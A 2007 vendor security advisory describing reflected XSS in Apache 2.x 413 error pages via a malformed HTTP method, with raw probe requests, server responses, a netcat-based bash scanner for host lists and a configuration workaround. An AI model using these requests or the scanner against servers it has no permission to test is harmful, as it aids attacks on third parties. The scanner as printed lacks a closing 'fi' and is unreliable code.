Apache HTTP Method Request Entity Too Large Cross-Site Scripting

Monday, 3 December 2007

PR07-37: XSS on Apache HTTP Server 413 error pages via malformed HTTP method

Risk factor: N/A

BID: 26663

The reason why we didn't consider this vulnerability a security risk is because the attacker needs to force the victim's browser to submit a malformed HTTP method.

Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins.

A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4].

However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.

Description:

It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following:

Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"
One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"
One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"
One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999"

Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error page returned by the server we have 3 possible string vectors:

The 'Host:' header
The URL
The HTTP method

If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET / HTTP/1.1
Host: <BADCHARS>
Connection: close
Content-length: -1
[LF]
[LF]

SERVER'S REPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:40:19 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80</address>
</body></html>

Notice that '<BADCHARS>' gets replaced with '<badchars>'

If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET /<BADCHARS>/ HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]

SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:41:17 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<BADCHARS>/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>

Again, '<BADCHARS>' gets replaced with '<badchars>'

However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities:

REQUEST:

<BADCHARS> / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]

SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:42:46 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with <BADCHARS> requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>

The following script could be used to audit your network for vulnerable web servers:

#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
echo "$0 <hosts-file>"
exit
fi

for i in `cat $1`
do

if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null
then
echo "$i is VULNERABLE!"

done

Vulnerability successfully tested on (banners extracted from server headers):

Server: Apache/2.0.46 (Red Hat)
Server: Apache/2.0.51 (Fedora)
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g
Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2
Server: Apache/2.2.4 (Linux/SUSE)

Note: other versions might also be vulnerable.

Consequences:

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malformed HTTP method.

Workaround:

Disable Apache's default 413 error pages by adding a 'ErrorDocument 413' statement to the Apache config file.

References:

http://www.procheckup.com/Vulnerability_2007.php

[1] "Forging HTTP request headers with Flash"
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html

[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"
http://download2.rapid7.com/r7-0026/

[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"
http://www.securityfocus.com/archive/1/433280

[4] "More Expect Exploitation In Flash"
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/

Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com).

Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.

Original article

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